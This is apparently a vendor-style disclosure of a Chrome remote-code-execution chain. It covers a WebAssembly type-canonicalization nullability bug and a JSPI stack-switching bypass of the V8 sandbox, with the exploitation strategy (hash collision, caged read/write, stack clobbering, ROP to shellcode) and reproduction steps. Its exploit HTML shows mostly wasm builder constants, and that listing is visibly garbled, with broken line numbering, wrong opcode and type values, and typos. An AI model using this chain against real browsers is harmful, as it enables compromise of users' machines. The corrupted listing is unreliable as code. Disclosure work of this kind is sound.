



GOOGLE CHROME RCE (NO SANDBOX) VIA CANONICALEQUALITY::EQUALVALUETYPE ()

October 5, 2025 SSD Secure Disclosure technical team
Vulnerability publication

Affected Version

CanonicalEquality::EqualValueType nullity check bug

All Chrome builds having the ValueType refactoring commit [44171ac](#) – M135 and above in stable channel.

Prior to the commit, `CanonicalEquality::EqualValueType()` had a `ValueKind` check that enforces nullity equivalence (`kRef` vs `kRefNull`).

V8 Sandbox bypass via JSPI intra-state confusion

All Chrome builds having commit [d4700da](#) – M137 and above in stable channel. This also conveniently coincides with JSPI being enabled by default (w/o the need of origin trials) from M137 and above.

Credit

The vulnerability has been disclosed to SSD Secure Disclosure by, Seunghyun Lee (@0x10n), during TyphoonPWN 2025 and won first place in the Chrome RCE category.



WebAssembly type canonicalization bug again.

`CanonicalEquality::EqualValueType()` does not take into account nullability for indexed reference types (`ref $t0` vs. `ref null $t0`) due to a regression in [44171ac](#), causing nullability confusion for indexed reference types within a type definition.

Canonicalization equivalence check bugs have been constantly pointed out as a significant problem ([b/380397544](#), CVE-2024-12381, CVE-2024-12692, ...) but still plagues the fundamental type safety guarantees of Wasm.

The bug is shadowed behind finding a hash collision between two rectypes that differ only by the nullability of indexed reference types. This has already been demonstrated in prior reports to be computationally feasible through birthday attack on MurmurHash64A.

V8 Sandbox bypass

Note: Windows still does not have ShadowMetadata, so just using well-known attacks on PartitionAlloc (e.g. freelist hijack) suffices to bypass the v8 sandbox.

For the sakes of the contest, the exploit chain uses a novel V8 Sandbox bypass using JSPI to acquire full control over the stack. This is a variant of [b/384553540](#) which has been reintroduced due to an improper fix in <https://crrev.com/c/6426203>, where an attacker may exploit memory corruption within the V8 Sandbox to skip over inactive secondary stacks (switched to the central stack for JS execution) and resume them later on after clobbering the stack contents.

Bug / Root Cause Analysis



```

1.     bool EqualValueType(CanonicalValueType type1,
2.                          CanonicalValueType type2) const {
3.         const bool indexed = type1.has_index();
4.         if (indexed != type2.has_index()) return false;
5.         if (indexed) {
6.             return EqualTypeIndex(type1.ref_index(), type2.ref_index()); // [!]
           only checks type index equivalence and nothing else
7.         }
8.         return type1 == type2;
9.     }

```

This puts us in the same position as many prior bugs that I've reported, e.g. CVE-2024-12381 and CVE-2024-12692, where we have a **CanonicalEquality** bug which is shadowed behind finding a hash collision for **CanonicalHashing** due to the use of **std::unordered_set<CanonicalGroup>** for **TypeCanonicalizer::canonical_group_**.

Simply put, if we find two **CanonicalGroup** that differs only in the nullability for its indexed reference value types but which hashes into the same hash value, then the two regroup canonicalizes into the same canonical index which results in nullability confusion.

Exploit

Hash Collision

As also described in previous reports (now public), birthday attack makes it computationally feasible to find such regroup. We compute hash values for the following regroup structure:

```

1. - t0: array { mut kWasmI32 }
2. - t1: struct { mut kWasmI64 * 8191, mut kWasmI32, mut ref null $t0 }
3. - t2: struct { mut {kWasmI32, kWasmI64} * BASE_RND_FIELDS, mut ref null? $t1 *
      BRUTE_FIELDS }

```

mut {kWasmI32, kWasmI64} * BASE_RND_FIELDS is fixed for each collision attempt. **mut ref null? \$t1 * BRUTE_FIELDS** is the brute-force field where we try all **2^{BRUTE_FIELDS}** possible combinations of nullabilities. Birthday attack gives us that with **BRUTE_FIELDS** of only around 32 we have 2³² 64-bit hash values that is highly likely to



Note: The **CanonicalEquality** bug given here allows a straightforward construction that admits birthday attack. Even when we have a stronger constraint of a preimage attack, it is still computationally feasible to find a suitable preimage by a meet-in-the-middle attack.

WasmNull to in-sandbox primitives

The previous primitive grants us the ability to invalidly cast **ref null \$t1** into a **ref \$t1**, essentially removing any nullity checks on following operations. A straightforward approach is to then cast a null value into a non-null type, that is, **WasmNull: ref \$t1**. This requires us to look into what **WasmNull** is.

WasmNull is just another object at **0xffffd**, but followed by a **0x10000** guard page region for implicit null trapping via segfault handlers. Struct **\$t1** simply skips over this region and positions the last **ref null \$t0** field at offset **0x20000**, which holds **MetaMap (null)** – we now consider this as a WasmArray object of mutable i32 array, where the object conveniently has **WasmArray::length** of **0xc000112** (specific values might vary across v8 versions). This translates to caged read/write primitive of up to approximately offset **0x30000000**, which is sufficient for our needs.

Similar to the exploit demonstrated in CVE-2024-9602, we simply allocate a large array of size **0x10000000 / 4** and use the caged read/write primitive to directly read and write on this array, granting us addrof/fakeobj primitive.

Note: We can choose a better object, e.g. **undefined** at **0x11** which has a larger “length” field, to obtain full caged read/write on the whole



V8 Sandbox bypass by exploiting JSPI stack switching

M137 enables Wasm JSPI by default. We exploit the stack switching behavior in JSPI to switch to an invalid stack of fully controlled values.

On entering a **WebAssembly.promising** function from JS, a secondary stack is allocated and the stack is pivoted to continue execution within Wasm on the secondary stack. On returning back to JS or re-entering JS (e.g. by imported JS function execution), the stack switches back to the central (JS) stack.

These secondary stacks may be nested, for example in the following case:

1. Enter promising function **f1**
 - This causes a stack switch to the secondary stack #0
2. Execute imported JS function **imp1** within Wasm
 - This causes a stack switch to the central stack
3. Enter promising function **f2** from **imp1**
 - This causes a stack switch to the secondary stack #1
4. ...

On returns we must unwind any stack switches that it has done in the correct order. For example, returning back from steps **3 -> 2 -> 1 -> JS** should first switch back from secondary stack #1 to the central stack used by step 2 (**3 -> 2**), then switch back to the



This whole feature is very fragile in terms of the V8 Sandbox as a slightly faulty operation may directly lead to full stack control, and indeed has led to various bypasses. The initial implementation had no notion of stack state and allowed an attacker to switch to any stack ([b/356419168](#)). This has been mitigated by adding four stack states: **Active**, **Suspended**, **Inactive** and **Retired**, and verifying the stack state whenever switching to/from a stack.

However, this was still vulnerable to an intra-state confusion attack where an attacker may return to any compatible stack state in an invalid order: for example in an inactive stack chain of **S0** -> **S1** -> **S2**, it was possible to skip **S1** and directly return to **S0** from **S2** and later on return to **S1** after clobbering its stack contents ([b/384553540](#)).

This has been fixed in [9942165](#) by enforcing the chain of stacks.

Interestingly, after <https://crrev.com/c/6426203> which attempts to fix [b/404285918](#) and JSPI-related V8 Sandbox issues once and for all, the mitigation for [b/384553540](#) has been demoted to a **DCHECK()** from a **SBXCHECK()** – this reintroduces a variant of [b/384553540](#).

Thus, the latter part of the exploit simply creates a stack chain, skips a few stacks in between (which effectively “suspends” frames within the central stack), clobber the “suspended” frame by spraying the stack with Wasm i64 locals, then returning back to the “suspended” frame which now holds attacker-controlled stack values.

Spray the stack with retsled + ropchain to **VirtualProtect** shellcode as executable, then return to the shellcode to gain arbitrary code execution.

Addresses can be read from PartitionAlloc metadata region as usual regardless of whether or not ShadowMetadata is implemented / in effect.

Exploitation



2. Start Chrome with **--no-sandbox** flag

3. Browse to **<http://127.0.0.1:8000/exp.html>**

4. Result should be a command prompt opening with arbitrary commands executed (**echoing** of some ASCII art followed by **calc**).

```

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5.   <meta charset="UTF-8">
6.   <meta name="viewport" content="width=device-width, initial-scale=1.0">
7.   <title>TyphoonPWN 2025 Exploit</title>
8. </head>
9.
10. <body>
11.   <textarea id="log" rows="30" cols="120"
12.     style="font-family: Consolas,Monaco,Lucida Console,Liberation Mono,DejaVu Sans
13.     Vera Sans Mono,Courier New,monospace;"></textarea>
14.   <script>
15.     // wasm-module-builder.js
16.
17.     // Copyright 2016 the V8 project authors. All rights reserved.
18.     // Use of this source code is governed by a BSD-style license that can be
19.     // found in the LICENSE file.
20.     // Used for encoding f32 and double constants to bits.
21.     let byte_view = new Uint8Array(8);
22.     let data_view = new DataView(byte_view.buffer);
23.     // The bytes function receives one of
24.     //   - several arguments, each of which is either a number or a string of length
25.     //     1; if it's a string, the charcode of the contained character is used.
26.     //   - a single array argument containing the actual arguments
27.     //   - a single string; the returned buffer will contain the char codes of all
28.     //     contained characters.
29.     function bytes(...input) {
30.       if (input.length == 1 && typeof input[0] == 'array') input = input[0];
31.       if (input.length == 1 && typeof input[0] == 'string') {
32.         let len = input[0].length;
33.         let view = new Uint8Array(len);
34.         for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);
35.         return view.buffer;
36.       }
37.       let view = new Uint8Array(input.length);
38.       for (let i = 0; i < input.length; i++) {
39.         let val = input[i];
40.         if (typeof val == 'string') {
41.           if (val.length != 1) {
42.             throw new Error('string inputs must have length 1');
43.           }
44.           val = val.charCodeAt(0);
45.           view[i] = val | 0;

```



```

1.      var kWasmH1 = 0x01;
2.      var kWasmH2 = 0x73;
53.     var kWasmH3 = 0x6d;
54.     var kWasmV0 = 0x1;
55.     var kWasmV1 = 0;
56.     var kWasmV2 = 0;
57.     var kWasmV3 = 0;
58.     var kHeaderSize = 8;
59.     var kPageSize = 65536;
60.     var kSpecMaxPages = 65536;
61.     var kMaxVarInt32Size = 5;
62.     var kMaxVarInt64Size = 10;
63.     let kDeclNoLocals = 0;
64.     // Section declaration constants
65.     let kUnknownSectionCode = 0;
66.     let kTypeSectionCode = 1;           // Function signature declarations
67.     let kImportSectionCode = 2;         // Import declarations
68.     let kFunctionSectionCode = 3;        // Function declarations
69.     let kTableSectionCode = 4;           // Indirect function table and other tables
70.     let kMemorySectionCode = 5;         // Memory attributes
71.     let kGlobalSectionCode = 6;         // Global declarations
72.     let kExportSectionCode = 7;         // Exports
73.     let kStartSectionCode = 8;          // Start function declaration
74.     let kElementSectionCode = 9;         // Elements section
75.     let kCodeSectionCode = 10;          // Function code
76.     let kDataSectionCode = 11;          // Data segments
77.     let kDataCountSectionCode = 12;      // Data segment count (between Element & Code)
78.     let kTagSectionCode = 13;           // Tag section (between Memory & Global)
79.     let kStringRefSectionCode = 14;      // Stringref literals section (between Tag & C
80.     let kLastKnownSectionCode = 14;
81.     // Name section types
82.     let kModuleNameCode = 0;
83.     let kFunctionNamesCode = 1;
84.     let kLocalNamesCode = 2;
85.     let kWasmSharedTypeForm = 0x65;
86.     let kWasmFunctionTypeForm = 0x60;
87.     let kWasmStructTypeForm = 0x5f;
88.     let kWasmArrayTypeForm = 0x5e;
89.     let kWasmSubtypeForm = 0x50;
90.     let kWasmSubtypeFinalForm = 0x4f;
91.     let kWasmRecursiveTypeGroupForm = 0x4e;
92.     let kNoSuperType = 0xFFFFFFFF;
93.     let kLimitsNoMaximum = 0x00;
94.     let kLimitsWithMaximum = 0x01;
95.     let kLimitsSharedNoMaximum = 0x02;
96.     let kLimitsSharedWithMaximum = 0x03;
97.     let kLimitsMemory64NoMaximum = 0x04;
98.     let kLimitsMemory64WithMaximum = 0x05;
99.     let kLimitsMemory64SharedNoMaximum = 0x06;
100.    let kLimitsMemory64SharedWithMaximum = 0x07;
101.    // Segment flags
102.    let kActiveNoIndex = 0;
103.    let kPassive = 1;
104.    let kActiveWithIndex = 2;
105.    let kDeclarative = 3;
106.    let kPassiveWithElements = 5;
107.    let kDeclarativeWithElements = 7;
108.    // Function declaration flags
109.    let kDeclFunctionName = 0x01;

```




```

115.     let kWasmI32 = 0x1;
116.     let kWasmI64 = 0x7e;
117.     let kWasmF32 = 0x7d;
118.     let kWasmF64 = 0x7c;
119.     let kWasmS128 = 0x7b;
120.     let kWasmI8 = 0x78;
121.     let kWasmI16 = 0x77;
122.     // These are defined as negative integers to distinguish them from positive typ
123.     // indices.
124.     let kWasmNullFuncRef = -0x0d;
125.     let kWasmNullExternRef = -0x0e;
126.     let kWasmNullRef = -0x0f;
127.     let kWasmFuncRef = -0x10;
128.     let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec
129.     let kWasmExternRef = -0x11;
130.     let kWasmAnyRef = -0x12;
131.     let kWasmEqRef = -0x13;
132.     let kWasmI31Ref = -0x14;
133.     let kWasmStructRef = -0x15;
134.     let kWasmArrayRef = -0x16;
135.     let kWasmExnRef = -0x17;
136.     let kWasmNullExnRef = -0x0c;
137.     let kWasmStringRef = -0x19;
138.     let kWasmStringViewWtf8 = -0x1a;
139.     let kWasmStringViewWtf16 = -0x1e;
140.     let kWasmStringViewIter = -0x1f;
141.     // Use the positive-byte versions inside function bodies.
142.     let kLeb128Mask = 0x7f;
143.     let kFuncRefCode = kWasmFuncRef & kLeb128Mask;
144.     let kAnyFuncCode = kFuncRefCode; // Alias named as in the JS API spec
145.     let kExternRefCode = kWasmExternRef & kLeb128Mask;
146.     let kAnyRefCode = kWasmAnyRef & kLeb128Mask;
147.     let kEqRefCode = kWasmEqRef & kLeb128Mask;
148.     let kI31RefCode = kWasmI31Ref & kLeb128Mask;
149.     let kNullExternRefCode = kWasmNullExternRef & kLeb128Mask;
150.     let kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask;
151.     let kStructRefCode = kWasmStructRef & kLeb128Mask;
152.     let kArrayRefCode = kWasmArrayRef & kLeb128Mask;
153.     let kExnRefCode = kWasmExnRef & kLeb128Mask;
154.     let kNullExnRefCode = kWasmNullExnRef & kLeb128Mask;
155.     let kNullRefCode = kWasmNullRef & kLeb128Mask;
156.     let kStringRefCode = kWasmStringRef & kLeb128Mask;
157.     let kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask;
158.     let kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask;
159.     let kStringViewIterCode = kWasmStringViewIter & kLeb128Mask;
160.     let kWasmRefNull = 0x63;
161.     let kWasmRef = 0x64;
162.     function wasmRefNullType(heap_type, is_shared = false) {
163.         return { opcode: kWasmRefNull, heap_type: heap_type, is_shared: is_shared };
164.     }
165.     function wasmRefType(heap_type, is_shared = false) {
166.         return { opcode: kWasmRef, heap_type: heap_type, is_shared: is_shared };
167.     }
168.     let kExternalFunction = 0;
169.     let kExternalTable = 1;
170.     let kExternalMemory = 2;
171.     let kExternalGlobal = 3;
172.     let kExternalTag = 4;
173.     let kTableZero = 0;

```



```

9.      let kSig_l_l = makeSig([kWasml64], [kWasml64]);
180.     let kSig_i_l = makeSig([kWasml64], [kWasml32]);
181.     let kSig_i_ii = makeSig([kWasml32, kWasml32], [kWasml32]);
182.     let kSig_i_iii = makeSig([kWasml32, kWasml32, kWasml32], [kWasml32]);
183.     let kSig_v_iiii = makeSig([kWasml32, kWasml32, kWasml32, kWasml32], []);
184.     let kSig_l_i = makeSig([kWasml32], [kWasml64]);
185.     let kSig_f_ff = makeSig([kWasml32, kWasml32], [kWasml32]);
186.     let kSig_d_dd = makeSig([kWasml64, kWasml64], [kWasml64]);
187.     let kSig_l_ll = makeSig([kWasml64, kWasml64], [kWasml64]);
188.     let kSig_i_dd = makeSig([kWasml64, kWasml64], [kWasml32]);
189.     let kSig_v_v = makeSig([], []);
190.     let kSig_i_v = makeSig([], [kWasml32]);
191.     let kSig_l_v = makeSig([], [kWasml64]);
192.     let kSig_f_v = makeSig([], [kWasml32]);
193.     let kSig_d_v = makeSig([], [kWasml64]);
194.     let kSig_v_i = makeSig([kWasml32], []);
195.     let kSig_v_ii = makeSig([kWasml32, kWasml32], []);
196.     let kSig_v_iii = makeSig([kWasml32, kWasml32, kWasml32], []);
197.     let kSig_v_l = makeSig([kWasml64], []);
198.     let kSig_v_li = makeSig([kWasml64, kWasml32], []);
199.     let kSig_v_lii = makeSig([kWasml64, kWasml32, kWasml32], []);
200.     let kSig_v_d = makeSig([kWasml64], []);
201.     let kSig_v_dd = makeSig([kWasml64, kWasml64], []);
202.     let kSig_v_ddi = makeSig([kWasml64, kWasml64, kWasml32], []);
203.     let kSig_ii_v = makeSig([], [kWasml32, kWasml32]);
204.     let kSig_iii_v = makeSig([], [kWasml32, kWasml32, kWasml32]);
205.     let kSig_ii_i = makeSig([kWasml32], [kWasml32, kWasml32]);
206.     let kSig_iii_i = makeSig([kWasml32], [kWasml32, kWasml32, kWasml32]);
207.     let kSig_ii_ii = makeSig([kWasml32, kWasml32], [kWasml32, kWasml32]);
208.     let kSig_iii_ii = makeSig([kWasml32, kWasml32], [kWasml32, kWasml32, kWasml32]);
209.     let kSig_v_f = makeSig([kWasml32], []);
210.     let kSig_f_f = makeSig([kWasml32], [kWasml32]);
211.     let kSig_f_d = makeSig([kWasml64], [kWasml32]);
212.     let kSig_d_d = makeSig([kWasml64], [kWasml64]);
213.     let kSig_r_r = makeSig([kWasmlExternRef], [kWasmlExternRef]);
214.     let kSig_a_a = makeSig([kWasmlAnyFunc], [kWasmlAnyFunc]);
215.     let kSig_i_r = makeSig([kWasmlExternRef], [kWasml32]);
216.     let kSig_v_r = makeSig([kWasmlExternRef], []);
217.     let kSig_v_a = makeSig([kWasmlAnyFunc], []);
218.     let kSig_v_rr = makeSig([kWasmlExternRef, kWasmlExternRef], []);
219.     let kSig_v_aa = makeSig([kWasmlAnyFunc, kWasmlAnyFunc], []);
220.     let kSig_r_v = makeSig([], [kWasmlExternRef]);
221.     let kSig_a_v = makeSig([], [kWasmlAnyFunc]);
222.     let kSig_a_i = makeSig([kWasml32], [kWasmlAnyFunc]);
223.     let kSig_s_i = makeSig([kWasml32], [kWasml128]);
224.     let kSig_i_s = makeSig([kWasml128], [kWasml32]);
225.     function makeSig(params, results) {
226.         return { params: params, results: results };
227.     }
228.     function makeSig_v_x(x) {
229.         return makeSig([x], []);
230.     }
231.     function makeSig_x_v(x) {
232.         return makeSig([], [x]);
233.     }
234.     function makeSig_v_xx(x) {
235.         return makeSig([x, x], []);
236.     }
237.     function makeSig_r_v(r) {

```



```

243.     function makeSig_r_xx(r, x) {
244.         return makeSig([x, x], [r]);
245.     }
246.     // Opcodes
247.     const kWasmOpcodes = {
248.         'Unreachable': 0x00,
249.         'Nop': 0x01,
250.         'Block': 0x02,
251.         'Loop': 0x03,
252.         'If': 0x04,
253.         'Else': 0x05,
254.         'Try': 0x06,
255.         'TryTable': 0x0f,
256.         'ThrowRef': 0x0a,
257.         'Catch': 0x07,
258.         'Throw': 0x08,
259.         'Rethrow': 0x09,
260.         'CatchAll': 0x19,
261.         'End': 0x0b,
262.         'Br': 0x0c,
263.         'BrIf': 0x0d,
264.         'BrTable': 0x0e,
265.         'Return': 0x0f,
266.         'CallFunction': 0x10,
267.         'CallIndirect': 0x11,
268.         'ReturnCall': 0x12,
269.         'ReturnCallIndirect': 0x13,
270.         'CallRef': 0x14,
271.         'ReturnCallRef': 0x15,
272.         'NopForTestingUnsupportedInLiftoff': 0x16,
273.         'Delegate': 0x18,
274.         'Drop': 0x1a,
275.         'Select': 0x1b,
276.         'SelectWithType': 0x1c,
277.         'LocalGet': 0x20,
278.         'LocalSet': 0x21,
279.         'LocalTee': 0x22,
280.         'GlobalGet': 0x23,
281.         'GlobalSet': 0x24,
282.         'TableGet': 0x25,
283.         'TableSet': 0x26,
284.         'I32LoadMem': 0x28,
285.         'I64LoadMem': 0x29,
286.         'F32LoadMem': 0x2a,
287.         'F64LoadMem': 0x2b,
288.         'I32LoadMem8S': 0x2c,
289.         'I32LoadMem8U': 0x2d,
290.         'I32LoadMem16S': 0x2e,
291.         'I32LoadMem16U': 0x2f,
292.         'I64LoadMem8S': 0x30,
293.         'I64LoadMem8U': 0x31,
294.         'I64LoadMem16S': 0x32,
295.         'I64LoadMem16U': 0x33,
296.         'I64LoadMem32S': 0x34,
297.         'I64LoadMem32U': 0x35,
298.         'I32StoreMem': 0x36,
299.         'I64StoreMem': 0x37,
300.         'F32StoreMem': 0x38,
301.         'F64StoreMem': 0x39,

```



```
1.      'MemorySize': 0x31,  
308.    'MemoryGrow': 0x40,  
309.    'I32Const': 0x41,  
310.    'I64Const': 0x42,  
311.    'F32Const': 0x43,  
312.    'F64Const': 0x44,  
313.    'I32Eqz': 0x45,  
314.    'I32Eq': 0x46,  
315.    'I32Ne': 0x47,  
316.    'I32LtS': 0x48,  
317.    'I32LtU': 0x49,  
318.    'I32GtS': 0x4a,  
319.    'I32GtU': 0x4b,  
320.    'I32LeS': 0x4c,  
321.    'I32LeU': 0x4d,  
322.    'I32GeS': 0x4e,  
323.    'I32GeU': 0x4f,  
324.    'I64Eqz': 0x50,  
325.    'I64Eq': 0x51,  
326.    'I64Ne': 0x52,  
327.    'I64LtS': 0x53,  
328.    'I64LtU': 0x54,  
329.    'I64GtS': 0x55,  
330.    'I64GtU': 0x56,  
331.    'I64LeS': 0x57,  
332.    'I64LeU': 0x58,  
333.    'I64GeS': 0x59,  
334.    'I64GeU': 0x5a,  
335.    'F32Eq': 0x5b,  
336.    'F32Ne': 0x5c,  
337.    'F32Lt': 0x5d,  
338.    'F32Gt': 0x5e,  
339.    'F32Le': 0x5f,  
340.    'F32Ge': 0x60,  
341.    'F64Eq': 0x61,  
342.    'F64Ne': 0x62,  
343.    'F64Lt': 0x63,  
344.    'F64Gt': 0x64,  
345.    'F64Le': 0x65,  
346.    'F64Ge': 0x66,  
347.    'I32Clz': 0x67,  
348.    'I32Ctz': 0x68,  
349.    'I32Popcnt': 0x69,  
350.    'I32Add': 0x6a,  
351.    'I32Sub': 0x6b,  
352.    'I32Mul': 0x6c,  
353.    'I32DivS': 0x6d,  
354.    'I32DivU': 0x6e,  
355.    'I32RemS': 0x6f,  
356.    'I32RemU': 0x70,  
357.    'I32And': 0x71,  
358.    'I32Ior': 0x72,  
359.    'I32Xor': 0x73,  
360.    'I32Shl': 0x74,  
361.    'I32ShrS': 0x75,  
362.    'I32ShrU': 0x76,  
363.    'I32Rol': 0x77,  
364.    'I32Ror': 0x78,  
365.    'I64Clz': 0x79,
```



```
1.      'I64DivS': 0x71,  
372.    'I64DivU': 0x80,  
373.    'I64RemS': 0x81,  
374.    'I64RemU': 0x82,  
375.    'I64And': 0x83,  
376.    'I64Ior': 0x84,  
377.    'I64Xor': 0x85,  
378.    'I64Shl': 0x86,  
379.    'I64ShrS': 0x87,  
380.    'I64ShrU': 0x88,  
381.    'I64Rol': 0x89,  
382.    'I64Ror': 0x8a,  
383.    'F32Abs': 0x8b,  
384.    'F32Neg': 0x8c,  
385.    'F32Ceil': 0x8d,  
386.    'F32Floor': 0x8e,  
387.    'F32Trunc': 0x8f,  
388.    'F32NearestInt': 0x90,  
389.    'F32Sqrt': 0x91,  
390.    'F32Add': 0x92,  
391.    'F32Sub': 0x93,  
392.    'F32Mul': 0x94,  
393.    'F32Div': 0x95,  
394.    'F32Min': 0x96,  
395.    'F32Max': 0x97,  
396.    'F32CopySign': 0x98,  
397.    'F64Abs': 0x99,  
398.    'F64Neg': 0x9a,  
399.    'F64Ceil': 0x9b,  
400.    'F64Floor': 0x9c,  
401.    'F64Trunc': 0x9d,  
402.    'F64NearestInt': 0x9e,  
403.    'F64Sqrt': 0x9f,  
404.    'F64Add': 0xa0,  
405.    'F64Sub': 0xa1,  
406.    'F64Mul': 0xa2,  
407.    'F64Div': 0xa3,  
408.    'F64Min': 0xa4,  
409.    'F64Max': 0xa5,  
410.    'F64CopySign': 0xa6,  
411.    'I32ConvertI64': 0xa7,  
412.    'I32SConvertF32': 0xa8,  
413.    'I32UConvertF32': 0xa9,  
414.    'I32SConvertF64': 0xaa,  
415.    'I32UConvertF64': 0xab,  
416.    'I64SConvertI32': 0xac,  
417.    'I64UConvertI32': 0xad,  
418.    'I64SConvertF32': 0xae,  
419.    'I64UConvertF32': 0xaf,  
420.    'I64SConvertF64': 0xb0,  
421.    'I64UConvertF64': 0xb1,  
422.    'F32SConvertI32': 0xb2,  
423.    'F32UConvertI32': 0xb3,  
424.    'F32SConvertI64': 0xb4,  
425.    'F32UConvertI64': 0xb5,  
426.    'F32ConvertF64': 0xb6,  
427.    'F64SConvertI32': 0xb7,  
428.    'F64UConvertI32': 0xb8,  
429.    'F64SConvertI64': 0xb9,
```



```

435.         'F64ReinterpretI64': 0xd1,
436.         'I32SExtendI8': 0xc0,
437.         'I32SExtendI16': 0xc1,
438.         'I64SExtendI8': 0xc2,
439.         'I64SExtendI16': 0xc3,
440.         'I64SExtendI32': 0xc4,
441.         'RefNull': 0xd0,
442.         'RefIsNull': 0xd1,
443.         'RefFunc': 0xd2,
444.         'RefEq': 0xd3,
445.         'RefAsNonNull': 0xd4,
446.         'BrOnNull': 0xd5,
447.         'BrOnNonNull': 0xd6
448.     };
449.     function defineWasmOpcode(name, value) {
450.         if (globalThis.kWasmOpcodeNames === undefined) {
451.             globalThis.kWasmOpcodeNames = {};
452.         }
453.         Object.defineProperty(globalThis, name, { value: value });
454.         if (globalThis.kWasmOpcodeNames[value] !== undefined) {
455.             throw new Error(`Duplicate wasm opcode: ${value}. Previous name:
456.             ${globalThis.kWasmOpcodeNames[value]}, new name: ${name}`);
457.         }
458.         globalThis.kWasmOpcodeNames[value] = name;
459.     }
460.     for (let name in kWasmOpcodes) {
461.         defineWasmOpcode(`kExpr${name}`, kWasmOpcodes[name]);
462.     }
463.     // Prefix opcodes
464.     const kPrefixOpcodes = {
465.         'GC': 0xfb,
466.         'Numeric': 0xfc,
467.         'Simd': 0xfd,
468.         'Atomic': 0xfe
469.     };
470.     for (let prefix in kPrefixOpcodes) {
471.         defineWasmOpcode(`k${prefix}Prefix`, kPrefixOpcodes[prefix]);
472.     }
473.     // Use these for multi-byte instructions (opcode > 0x7F needing two LEB bytes):
474.     function SimdInstr(opcode) {
475.         if (opcode <= 0x7F) return [kSimdPrefix, opcode];
476.         return [kSimdPrefix, 0x80 | (opcode & 0x7F), opcode >> 7];
477.     }
478.     function GCInstr(opcode) {
479.         if (opcode <= 0x7F) return [kGCPrefix, opcode];
480.         return [kGCPrefix, 0x80 | (opcode & 0x7F), opcode >> 7];
481.     }
482.     // GC opcodes
483.     let kExprStructNew = 0x00;
484.     let kExprStructNewDefault = 0x01;
485.     let kExprStructGet = 0x02;
486.     let kExprStructGetS = 0x03;
487.     let kExprStructGetU = 0x04;
488.     let kExprStructSet = 0x05;
489.     let kExprArrayNew = 0x06;
490.     let kExprArrayNewDefault = 0x07;
491.     let kExprArrayNewFixed = 0x08;
492.     let kExprArrayNewData = 0x09;
493.     let kExprArrayNewElem = 0x0a;

```



```

0.      let kExprArrayFill = 0x10;
499.    let kExprArrayCopy = 0x11;
500.    let kExprArrayInitData = 0x12;
501.    let kExprArrayInitElem = 0x13;
502.    let kExprRefTest = 0x14;
503.    let kExprRefTestNull = 0x15;
504.    let kExprRefCast = 0x16;
505.    let kExprRefCastNull = 0x17;
506.    let kExprBrOnCast = 0x18;
507.    let kExprBrOnCastFail = 0x19;
508.    // TODO(mliedtke): Drop by 07/2024 or later.
509.    // (Just keeping it temporarily for bisection.)
510.    let kExprBrOnCastGeneric = kExprBrOnCast;
511.    let kExprBrOnCastFailGeneric = kExprBrOnCastFail;
512.    let kExprAnyConvertExtern = 0x1a;
513.    let kExprExternConvertAny = 0x1b;
514.    let kExprRefI31 = 0x1c;
515.    let kExprI31GetS = 0x1d;
516.    let kExprI31GetU = 0x1e;
517.    let kExprRefCastNop = 0x4c;
518.    // Stringref proposal.
519.    let kExprStringNewUtf8 = 0x80;
520.    let kExprStringNewWtf16 = 0x81;
521.    let kExprStringConst = 0x82;
522.    let kExprStringMeasureUtf8 = 0x83;
523.    let kExprStringMeasureWtf8 = 0x84;
524.    let kExprStringMeasureWtf16 = 0x85;
525.    let kExprStringEncodeUtf8 = 0x86;
526.    let kExprStringEncodeWtf16 = 0x87;
527.    let kExprStringConcat = 0x88;
528.    let kExprStringEq = 0x89;
529.    let kExprStringIsUsvSequence = 0x8a;
530.    let kExprStringNewLossyUtf8 = 0x8b;
531.    let kExprStringNewWtf8 = 0x8c;
532.    let kExprStringEncodeLossyUtf8 = 0x8d;
533.    let kExprStringEncodeWtf8 = 0x8e;
534.    let kExprStringNewUtf8Try = 0x8f;
535.    let kExprStringAsWtf8 = 0x90;
536.    let kExprStringViewWtf8Advance = 0x91;
537.    let kExprStringViewWtf8EncodeUtf8 = 0x92;
538.    let kExprStringViewWtf8Slice = 0x93;
539.    let kExprStringViewWtf8EncodeLossyUtf8 = 0x94;
540.    let kExprStringViewWtf8EncodeWtf8 = 0x95;
541.    let kExprStringAsWtf16 = 0x98;
542.    let kExprStringViewWtf16Length = 0x99;
543.    let kExprStringViewWtf16GetCodeunit = 0x9a;
544.    let kExprStringViewWtf16Encode = 0x9b;
545.    let kExprStringViewWtf16Slice = 0x9c;
546.    let kExprStringAsIter = 0xa0;
547.    let kExprStringViewIterNext = 0xa1;
548.    let kExprStringViewIterAdvance = 0xa2;
549.    let kExprStringViewIterRewind = 0xa3;
550.    let kExprStringViewIterSlice = 0xa4;
551.    let kExprStringCompare = 0xa8;
552.    let kExprStringFromCodePoint = 0xa9;
553.    let kExprStringHash = 0xaa;
554.    let kExprStringNewUtf8Array = 0xb0;
555.    let kExprStringNewWtf16Array = 0xb1;
556.    let kExprStringEncodeUtf8Array = 0xb2;

```



```

2.      let kExprStringNewU16Array17 = 0x00;
563.    // Numeric opcodes.
564.    let kExprI32SConvertSatF32 = 0x00;
565.    let kExprI32UConvertSatF32 = 0x01;
566.    let kExprI32SConvertSatF64 = 0x02;
567.    let kExprI32UConvertSatF64 = 0x03;
568.    let kExprI64SConvertSatF32 = 0x04;
569.    let kExprI64UConvertSatF32 = 0x05;
570.    let kExprI64SConvertSatF64 = 0x06;
571.    let kExprI64UConvertSatF64 = 0x07;
572.    let kExprMemoryInit = 0x08;
573.    let kExprDataDrop = 0x09;
574.    let kExprMemoryCopy = 0x0a;
575.    let kExprMemoryFill = 0x0b;
576.    let kExprTableInit = 0x0c;
577.    let kExprElemDrop = 0x0d;
578.    let kExprTableCopy = 0x0e;
579.    let kExprTableGrow = 0x0f;
580.    let kExprTableSize = 0x10;
581.    let kExprTableFill = 0x11;
582.    // Atomic opcodes.
583.    let kExprAtomicNotify = 0x00;
584.    let kExprI32AtomicWait = 0x01;
585.    let kExprI64AtomicWait = 0x02;
586.    let kExprAtomicFence = 0x03;
587.    let kExprI32AtomicLoad = 0x10;
588.    let kExprI32AtomicLoad8U = 0x12;
589.    let kExprI32AtomicLoad16U = 0x13;
590.    let kExprI32AtomicStore = 0x17;
591.    let kExprI32AtomicStore8U = 0x19;
592.    let kExprI32AtomicStore16U = 0x1a;
